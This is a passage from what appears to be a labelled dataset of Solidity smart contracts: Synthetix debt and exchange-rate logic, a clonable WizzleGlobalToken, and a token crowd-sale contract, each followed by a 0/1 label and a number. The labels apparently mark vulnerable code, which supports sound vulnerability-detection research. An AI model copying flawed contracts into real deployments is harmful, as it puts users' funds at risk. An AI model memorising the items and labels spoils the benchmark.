synthetix.totalIssuedSynths("XDR"); uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = synthetix.debtBalanceOf(account, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (issuanceData[account].initialDebtOwnership == 0) { totalIssuerCount = totalIssuerCount.add(1); } issuanceData[account].initialDebtOwnership = debtPercentage; issuanceData[account].debtEntryIndex = debtLedger.length; if (debtLedger.length > 0) { debtLedger.push( debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta) ); } else { debtLedger.push(SafeDecimalMath.preciseUnit()); } } function debtLedgerLength() external view returns (uint) { return debtLedger.length; } function lastDebtLedgerEntry() external view returns (uint) { return debtLedger[debtLedger.length - 1]; } function hasIssued(address account) external view returns (bool) { return issuanceData[account].initialDebtOwnership > 0; } event IssuanceRatioUpdated(uint newRatio); } contract ExchangeRates is SelfDestructible { using SafeMath for uint; mapping(bytes4 => uint) public rates; mapping(bytes4 => uint) public lastRateUpdateTimes; address public oracle; uint constant ORACLE_FUTURE_LIMIT = 10 minutes; uint public rateStalePeriod = 3 hours; bytes4[5] public xdrParticipants; constructor( address _owner, address _oracle, bytes4[] _currencyKeys, uint[] _newRates ) SelfDestructible(_owner) public { require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match."); oracle = _oracle; rates["sUSD"] = SafeDecimalMath.unit(); lastRateUpdateTimes["sUSD"] = now; xdrParticipants = [ bytes4("sUSD"), bytes4("sAUD"), bytes4("sCHF"), bytes4("sEUR"), bytes4("sGBP") ]; internalUpdateRates(_currencyKeys, _newRates, now); } function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) external onlyOracle returns(bool) { return internalUpdateRates(currencyKeys, newRates, timeSent); } function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) internal returns(bool) { require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length."); require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future"); for (uint i = 0; i < currencyKeys.length; i++) { require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead."); require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT."); if (timeSent >= lastRateUpdateTimes[currencyKeys[i]]) { rates[currencyKeys[i]] = newRates[i]; lastRateUpdateTimes[currencyKeys[i]] = timeSent; } } emit RatesUpdated(currencyKeys, newRates); updateXDRRate(timeSent); return true; } function updateXDRRate(uint timeSent) internal { uint total = 0; for (uint i = 0; i < xdrParticipants.length; i++) { total = rates[xdrParticipants[i]].add(total); } rates["XDR"] = total; lastRateUpdateTimes["XDR"] = timeSent; bytes4[] memory eventCurrencyCode = new bytes4[](1); eventCurrencyCode[0] = "XDR"; uint[] memory eventRate = new uint[](1); eventRate[0] = rates["XDR"]; emit RatesUpdated(eventCurrencyCode, eventRate); } function deleteRate(bytes4 currencyKey) external onlyOracle { require(rates[currencyKey] > 0, "Rate is zero"); delete rates[currencyKey]; delete lastRateUpdateTimes[currencyKey]; emit RateDeleted(currencyKey); } function setOracle(address _oracle) external onlyOwner { oracle = _oracle; emit OracleUpdated(oracle); } function setRateStalePeriod(uint _time) external onlyOwner { rateStalePeriod = _time; emit RateStalePeriodUpdated(rateStalePeriod); } function rateForCurrency(bytes4 currencyKey) public view returns (uint) { return rates[currencyKey]; } function ratesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory _rates = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { _rates[i] = rates[currencyKeys[i]]; } return _rates; } function lastRateUpdateTimeForCurrency(bytes4 currencyKey) public view returns (uint) { return lastRateUpdateTimes[currencyKey]; } function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory lastUpdateTimes = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]]; } return lastUpdateTimes; } function rateIsStale(bytes4 currencyKey) external view returns (bool) { if (currencyKey == "sUSD") return false; return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now; } function anyRateIsStale(bytes4[] currencyKeys) external view returns (bool) { uint256 i = 0; while (i < currencyKeys.length) { if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) { return true; } i += 1; } return false; } modifier onlyOracle { require(msg.sender == oracle, "Only the oracle can perform this action"); _; } event OracleUpdated(address newOracle); event RateStalePeriodUpdated(uint rateStalePeriod); event RatesUpdated(bytes4[] currencyKeys, uint[] newRates); event RateDeleted(bytes4 currencyKey); } contract Synthetix is ExternStateToken { Synth[] public availableSynths; mapping(bytes4 => Synth) public synths; FeePool public feePool; SynthetixEscrow public escrow; ExchangeRates public exchangeRates; SynthetixState public synthetixState; uint constant SYNTHETIX_SUPPLY = 1e8 * SafeDecimalMath.unit(); string constant TOKEN_NAME = "Synthetix Network Token"; string constant TOKEN_SYMBOL = "SNX"; uint8 constant DECIMALS = 18; constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState, address _owner, ExchangeRates _exchangeRates, FeePool _feePool ) ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, SYNTHETIX_SUPPLY, DECIMALS, _owner) public { synthetixState = _synthetixState; exchangeRates = _exchangeRates; feePool = _feePool; } function addSynth(Synth synth) external optionalProxy_onlyOwner { bytes4 currencyKey = synth.currencyKey(); require(synths[currencyKey] == Synth(0), "Synth already exists"); availableSynths.push(synth); synths[currencyKey] = synth; emitSynthAdded(currencyKey, synth); } function removeSynth(bytes4 currencyKey) external optionalProxy_onlyOwner { require(synths[currencyKey] != address(0), "Synth does not exist"); require(synths[currencyKey].totalSupply() == 0, "Synth supply exists"); require(currencyKey != "XDR", "Cannot remove XDR synth"); address synthToRemove = synths[currencyKey]; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == synthToRemove) { delete availableSynths[i]; availableSynths[i] = availableSynths[availableSynths.length - 1]; availableSynths.length--; break; } } delete synths[currencyKey]; emitSynthRemoved(currencyKey, synthToRemove); } function setEscrow(SynthetixEscrow _escrow) external optionalProxy_onlyOwner { escrow = _escrow; } function setExchangeRates(ExchangeRates _exchangeRates) external optionalProxy_onlyOwner { exchangeRates = _exchangeRates; } function setSynthetixState(SynthetixState _synthetixState) external optionalProxy_onlyOwner { synthetixState = _synthetixState; emitStateContractChanged(_synthetixState); } function setPreferredCurrency(bytes4 currencyKey) external optionalProxy { require(currencyKey == 0 || !exchangeRates.rateIsStale(currencyKey), "Currency rate is stale or doesn't exist."); synthetixState.setPreferredCurrency(messageSender, currencyKey); emitPreferredCurrencyChanged(messageSender, currencyKey); } function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey) public view rateNotStale(sourceCurrencyKey) rateNotStale(destinationCurrencyKey) returns (uint) { if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount; return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey)) .divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey)); } function totalIssuedSynths(bytes4 currencyKey) public view rateNotStale(currencyKey) returns (uint) { uint total = 0; uint currencyRate = exchangeRates.rateForCurrency(currencyKey); for (uint8 i = 0; i < availableSynths.length; i++) { require(!exchangeRates.rateIsStale(availableSynths[i].currencyKey()), "Rate is stale"); uint synthValue = availableSynths[i].totalSupply() .multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey())) .divideDecimalRound(currencyRate); total = total.add(synthValue); } return total; } function availableSynthCount() public view returns (uint) { return availableSynths.length; } function transfer(address to, uint value) public returns (bool) { bytes memory empty; return transfer(to, value, empty); } function transfer(address to, uint value, bytes data) public optionalProxy returns (bool) { require(value <= transferableSynthetix(messageSender), "Insufficient balance"); _transfer_byProxy(messageSender, to, value, data); return true; } function transferFrom(address from, address to, uint value) public returns (bool) { bytes memory empty; return transferFrom(from, to, value, empty); } function transferFrom(address from, address to, uint value, bytes data) public optionalProxy returns (bool) { require(value <= transferableSynthetix(from), "Insufficient balance"); _transferFrom_byProxy(messageSender, from, to, value, data); return true; } function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress) external optionalProxy returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths"); require(sourceAmount > 0, "Zero amount"); return _internalExchange( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, destinationAddress == address(0) ? messageSender : destinationAddress, true ); } function synthInitiatedExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress ) external onlySynth returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth"); require(sourceAmount > 0, "Zero amount"); return _internalExchange( from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, destinationAddress, false ); } function synthInitiatedFeePayment( address from, bytes4 sourceCurrencyKey, uint sourceAmount ) external onlySynth returns (bool) { require(sourceAmount > 0, "Source can't be 0"); bool result = _internalExchange( from, sourceCurrencyKey, sourceAmount, "XDR", feePool.FEE_ADDRESS(), false ); feePool.feePaid(sourceCurrencyKey, sourceAmount); return result; } function _internalExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress, bool chargeFee ) internal notFeeAddress(from) returns (bool) { require(destinationAddress != address(0), "Zero destination"); require(destinationAddress != address(this), "Synthetix is invalid destination"); require(destinationAddress != address(proxy), "Proxy is invalid destination"); synths[sourceCurrencyKey].burn(from, sourceAmount); uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey); uint amountReceived = destinationAmount; uint fee = 0; if (chargeFee) { amountReceived = feePool.amountReceivedFromExchange(destinationAmount); fee = destinationAmount.sub(amountReceived); } synths[destinationCurrencyKey].issue(destinationAddress, amountReceived); if (fee > 0) { uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR"); synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount); } synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived); return true; } function _addToDebtRegister(bytes4 currencyKey, uint amount) internal optionalProxy { uint xdrValue = effectiveValue(currencyKey, amount, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = debtBalanceOf(messageSender, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (!synthetixState.hasIssued(messageSender)) { synthetixState.incrementTotalIssuerCount(); } synthetixState.setCurrentIssuanceData(messageSender, debtPercentage); if (synthetixState.debtLedgerLength() > 0) { synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } else { synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit()); } } function issueSynths(bytes4 currencyKey, uint amount) public optionalProxy nonZeroAmount(amount) { require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large"); _addToDebtRegister(currencyKey, amount); synths[currencyKey].issue(messageSender, amount); } function issueMaxSynths(bytes4 currencyKey) external optionalProxy { uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey); issueSynths(currencyKey, maxIssuable); } function burnSynths(bytes4 currencyKey, uint amount) external optionalProxy { uint debt = debtBalanceOf(messageSender, currencyKey); require(debt > 0, "No debt to forgive"); uint amountToBurn = debt < amount ? debt : amount; _removeFromDebtRegister(currencyKey, amountToBurn); synths[currencyKey].burn(messageSender, amountToBurn); } function _removeFromDebtRegister(bytes4 currencyKey, uint amount) internal { uint debtToRemove = effectiveValue(currencyKey, amount, "XDR"); uint existingDebt = debtBalanceOf(messageSender, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(totalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().add(debtPercentage); if (debtToRemove == existingDebt) { synthetixState.clearIssuanceData(messageSender); synthetixState.decrementTotalIssuerCount(); } else { uint newDebt = existingDebt.sub(debtToRemove); uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove); uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued); synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage); } synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } function maxIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey); return destinationValue.multiplyDecimal(synthetixState.issuanceRatio()); } function collateralisationRatio(address issuer) public view returns (uint) { uint totalOwnedSynthetix = collateral(issuer); if (totalOwnedSynthetix == 0) return 0; uint debtBalance = debtBalanceOf(issuer, "SNX"); return debtBalance.divideDecimalRound(totalOwnedSynthetix); } function debtBalanceOf(address issuer, bytes4 currencyKey) public view returns (uint) { uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer); if (initialDebtOwnership == 0) return 0; uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry() .divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex)) .multiplyDecimalRoundPrecise(initialDebtOwnership); uint totalSystemValue = totalIssuedSynths(currencyKey); uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal() .multiplyDecimalRoundPrecise(currentDebtOwnership); return highPrecisionBalance.preciseDecimalToDecimal(); } function remainingIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint alreadyIssued = debtBalanceOf(issuer, currencyKey); uint max = maxIssuableSynths(issuer, currencyKey); if (alreadyIssued >= max) { return 0; } else { return max.sub(alreadyIssued); } } function collateral(address account) public view returns (uint) { uint balance = tokenState.balanceOf(account); if (escrow != address(0)) { balance = balance.add(escrow.balanceOf(account)); } return balance; } function transferableSynthetix(address account) public view rateNotStale("SNX") returns (uint) { uint balance = tokenState.balanceOf(account); uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio()); if (lockedSynthetixValue >= balance) { return 0; } else { return balance.sub(lockedSynthetixValue); } } modifier rateNotStale(bytes4 currencyKey) { require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Fee address not allowed"); _; } modifier onlySynth() { bool isSynth = false; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == msg.sender) { isSynth = true; break; } } require(isSynth, "Only synth allowed"); _; } modifier nonZeroAmount(uint _amount) { require(_amount > 0, "Amount needs to be larger than 0"); _; } event PreferredCurrencyChanged(address indexed account, bytes4 newPreferredCurrency); bytes32 constant PREFERREDCURRENCYCHANGED_SIG = keccak256("PreferredCurrencyChanged(address,bytes4)"); function emitPreferredCurrencyChanged(address account, bytes4 newPreferredCurrency) internal { proxy._emit(abi.encode(newPreferredCurrency), 2, PREFERREDCURRENCYCHANGED_SIG, bytes32(account), 0, 0); } event StateContractChanged(address stateContract); bytes32 constant STATECONTRACTCHANGED_SIG = keccak256("StateContractChanged(address)"); function emitStateContractChanged(address stateContract) internal { proxy._emit(abi.encode(stateContract), 1, STATECONTRACTCHANGED_SIG, 0, 0, 0); } event SynthAdded(bytes4 currencyKey, address newSynth); bytes32 constant SYNTHADDED_SIG = keccak256("SynthAdded(bytes4,address)"); function emitSynthAdded(bytes4 currencyKey, address newSynth) internal { proxy._emit(abi.encode(currencyKey, newSynth), 1, SYNTHADDED_SIG, 0, 0, 0); } event SynthRemoved(bytes4 currencyKey, address removedSynth); bytes32 constant SYNTHREMOVED_SIG = keccak256("SynthRemoved(bytes4,address)"); function emitSynthRemoved(bytes4 currencyKey, address removedSynth) internal { proxy._emit(abi.encode(currencyKey, removedSynth), 1, SYNTHREMOVED_SIG, 0, 0, 0); } }
0
2,561
pragma solidity ^0.4.18; contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } contract TokenController { function proxyPayment(address _owner) public payable returns(bool); function onTransfer(address _from, address _to, uint _amount) public returns(bool); function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } contract Controlled { modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender; } function changeController(address _newController) public onlyController { controller = _newController; } } contract WizzleGlobalToken is Controlled { string public name; uint8 public decimals; string public symbol; string public version = 'v1'; struct Checkpoint { uint128 fromBlock; uint128 value; } WizzleGlobalToken public parentToken; uint public parentSnapShotBlock; uint public creationBlock; mapping (address => Checkpoint[]) balances; mapping (address => mapping (address => uint256)) allowed; Checkpoint[] totalSupplyHistory; bool public transfersEnabled; WizzleGlobalTokenFactory public tokenFactory; function WizzleGlobalToken( address _tokenFactory, address _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = WizzleGlobalTokenFactory(_tokenFactory); name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; parentToken = WizzleGlobalToken(_parentToken); parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); doTransfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { if (msg.sender != controller) { require(transfersEnabled); require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } function doTransfer(address _from, address _to, uint _amount ) internal { if (_amount == 0) { Transfer(_from, _to, _amount); return; } require(parentSnapShotBlock < block.number); require((_to != 0) && (_to != address(this))); var previousBalanceFrom = balanceOfAt(_from, block.number); require(previousBalanceFrom >= _amount); if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } updateValueAtNow(balances[_from], previousBalanceFrom - _amount); var previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(balances[_to], previousBalanceTo + _amount); Transfer(_from, _to, _amount); } function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender ) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(balances[_owner], _blockNumber); } } function totalSupplyAt(uint _blockNumber) public constant returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(totalSupplyHistory, _blockNumber); } } function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(address) { if (_snapshotBlock == 0) _snapshotBlock = block.number; WizzleGlobalToken cloneToken = tokenFactory.createCloneToken( this, _snapshotBlock, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); NewCloneToken(address(cloneToken), _snapshotBlock); return address(cloneToken); } function generateTokens(address _owner, uint _amount ) public onlyController returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } function enableTransfers(bool _transfersEnabled) public onlyController { transfersEnabled = _transfersEnabled; } function getValueAt(Checkpoint[] storage checkpoints, uint _block ) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value ) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length-1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } function () public payable { require(isContract(controller)); require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); } function claimTokens(address _token) public onlyController { if (_token == 0x0) { controller.transfer(this.balance); return; } WizzleGlobalToken token = WizzleGlobalToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } contract WizzleGlobalTokenFactory { function createCloneToken( address _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (WizzleGlobalToken) { WizzleGlobalToken newToken = new WizzleGlobalToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } }
1
4,819
pragma solidity ^0.4.18; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } } contract SaleCallbackInterface { function handleSaleCompletionCallback(uint256 _tokens) external payable returns (bool); function handleSaleClaimCallback(address _recipient, uint256 _tokens) external returns (bool); } contract Sale is SafeMath { address public creator; address public delegate; address public marketplace; uint256 public start; uint256 public finish; uint256 public release; uint256 public pricer; uint256 public size; bool public restricted; bool public active; int8 public progress; uint256 public tokens; uint256 public value; uint256 public withdrawls; uint256 public reserves; mapping(address => bool) public participants; address[] public participantIndex; mapping(address => uint256) public participantTokens; mapping(address => uint256) public participantValues; mapping(address => bool) public participantRefunds; mapping(address => bool) public participantClaims; mapping(address => bool) public whitelist; uint256[] public bonuses; bool public mutable; modifier ifCreator { require(msg.sender == creator); _; } modifier ifDelegate { require(msg.sender == delegate); _; } modifier ifMutable { require(mutable); _; } event Created(); event Bought(address indexed _buyer, address indexed _recipient, uint256 _tokens, uint256 _value); event Claimed(address indexed _recipient, uint256 _tokens); event Refunded(address indexed _recipient, uint256 _value); event Reversed(address indexed _recipient, uint256 _tokens, uint256 _value); event Granted(address indexed _recipient, uint256 _tokens); event Withdrew(address _recipient, uint256 _value); event Completed(uint256 _tokens, uint256 _value, uint256 _reserves); event Certified(uint256 _tokens, uint256 _value); event Cancelled(uint256 _tokens, uint256 _value); event Listed(address _participant); event Delisted(address _participant); event Paused(); event Activated(); function Sale() { creator = msg.sender; delegate = msg.sender; start = 1; finish = 1535760000; release = 1536969600; pricer = 100000; size = 10 ** 18 * pricer * 2000 * 2; restricted = false; bonuses = [1, 20]; mutable = true; active = true; Created(); Activated(); } function getMyTokenBalance() external constant returns (uint256) { return participantTokens[msg.sender]; } function buy(address _recipient) public payable { require(_recipient != address(0x0)); require(msg.value >= 10 ** 17); require(active); require(progress == 0 || progress == 1); require(block.timestamp >= start); require(block.timestamp < finish); require((! restricted) || whitelist[msg.sender]); require((! restricted) || whitelist[_recipient]); uint256 baseTokens = safeMul(msg.value, pricer); uint256 totalTokens = safeAdd(baseTokens, safeDiv(safeMul(baseTokens, getBonusPercentage()), 100)); require(safeAdd(tokens, totalTokens) <= size); if (! participants[_recipient]) { participants[_recipient] = true; participantIndex.push(_recipient); } participantTokens[_recipient] = safeAdd(participantTokens[_recipient], totalTokens); participantValues[_recipient] = safeAdd(participantValues[_recipient], msg.value); tokens = safeAdd(tokens, totalTokens); value = safeAdd(value, msg.value); Bought(msg.sender, _recipient, totalTokens, msg.value); } function claim() external { require(progress == 2); require(block.timestamp >= release); require(participantTokens[msg.sender] > 0); require(! participantClaims[msg.sender]); participantClaims[msg.sender] = true; Claimed(msg.sender, participantTokens[msg.sender]); SaleCallbackInterface(marketplace).handleSaleClaimCallback(msg.sender, participantTokens[msg.sender]); } function refund() external { require(progress == -1); require(participantValues[msg.sender] > 0); require(! participantRefunds[msg.sender]); participantRefunds[msg.sender] = true; Refunded(msg.sender, participantValues[msg.sender]); address(msg.sender).transfer(participantValues[msg.sender]); } function withdraw(uint256 _sanity, address _recipient, uint256 _value) ifCreator external { require(_sanity == 100010001); require(_recipient != address(0x0)); require(progress == 1 || progress == 2); require(this.balance >= _value); withdrawls = safeAdd(withdrawls, _value); Withdrew(_recipient, _value); address(_recipient).transfer(_value); } function complete(uint256 _sanity, uint256 _value) ifCreator external { require(_sanity == 101010101); require(progress == 0 || progress == 1); require(block.timestamp >= finish); require(this.balance >= _value); progress = 2; reserves = safeAdd(reserves, _value); Completed(tokens, value, _value); SaleCallbackInterface(marketplace).handleSaleCompletionCallback.value(_value)(tokens); } function certify(uint256 _sanity) ifCreator external { require(_sanity == 101011111); require(progress == 0); require(block.timestamp >= start); progress = 1; Certified(tokens, value); } function cancel(uint256 _sanity) ifCreator external { require(_sanity == 111110101); require(progress == 0); progress = -1; Cancelled(tokens, value); } function reverse(address _recipient) ifDelegate external { require(_recipient != address(0x0)); require(progress == 0 || progress == 1); require(participantTokens[_recipient] > 0 || participantValues[_recipient] > 0); uint256 initialParticipantTokens = participantTokens[_recipient]; uint256 initialParticipantValue = participantValues[_recipient]; tokens = safeSub(tokens, initialParticipantTokens); value = safeSub(value, initialParticipantValue); participantTokens[_recipient] = 0; participantValues[_recipient] = 0; Reversed(_recipient, initialParticipantTokens, initialParticipantValue); if (initialParticipantValue > 0) { address(_recipient).transfer(initialParticipantValue); } } function grant(address _recipient, uint256 _tokens) ifDelegate external { require(_recipient != address(0x0)); require(progress == 0 || progress == 1); if (! participants[_recipient]) { participants[_recipient] = true; participantIndex.push(_recipient); } participantTokens[_recipient] = safeAdd(participantTokens[_recipient], _tokens); tokens = safeAdd(tokens, _tokens); Granted(_recipient, _tokens); } function list(address[] _addresses) ifDelegate external { for (uint256 i = 0; i < _addresses.length; i++) { whitelist[_addresses[i]] = true; Listed(_addresses[i]); } } function delist(address[] _addresses) ifDelegate external { for (uint256 i = 0; i < _addresses.length; i++) { whitelist[_addresses[i]] = false; Delisted(_addresses[i]); } } function pause() ifDelegate external { active = false; Paused(); } function activate() ifDelegate external { active = true; Activated(); } function setDelegate(address _delegate) ifCreator external { delegate = _delegate; } function setRestricted(bool _restricted) ifDelegate external { restricted = _restricted; } function setMarketplace(address _marketplace) ifCreator ifMutable external { marketplace = _marketplace; } function setBonuses(uint256[] _bonuses) ifDelegate ifMutable external { bonuses = _bonuses; } function setFinish(uint256 _finish) ifDelegate ifMutable external { finish = _finish; } function setRelease(uint256 _release) ifDelegate ifMutable external { release = _release; } function getBonusPercentage() public constant returns (uint256) { uint256 finalBonus; uint256 iterativeTimestamp; uint256 iterativeBonus; for (uint256 i = 0; i < bonuses.length; i++) { if (i % 2 == 0) { iterativeTimestamp = bonuses[i]; } else { iterativeBonus = bonuses[i]; if (block.timestamp >= iterativeTimestamp) { finalBonus = iterativeBonus; } } } return finalBonus; } function() public payable { buy(msg.sender); } }
1
4,502
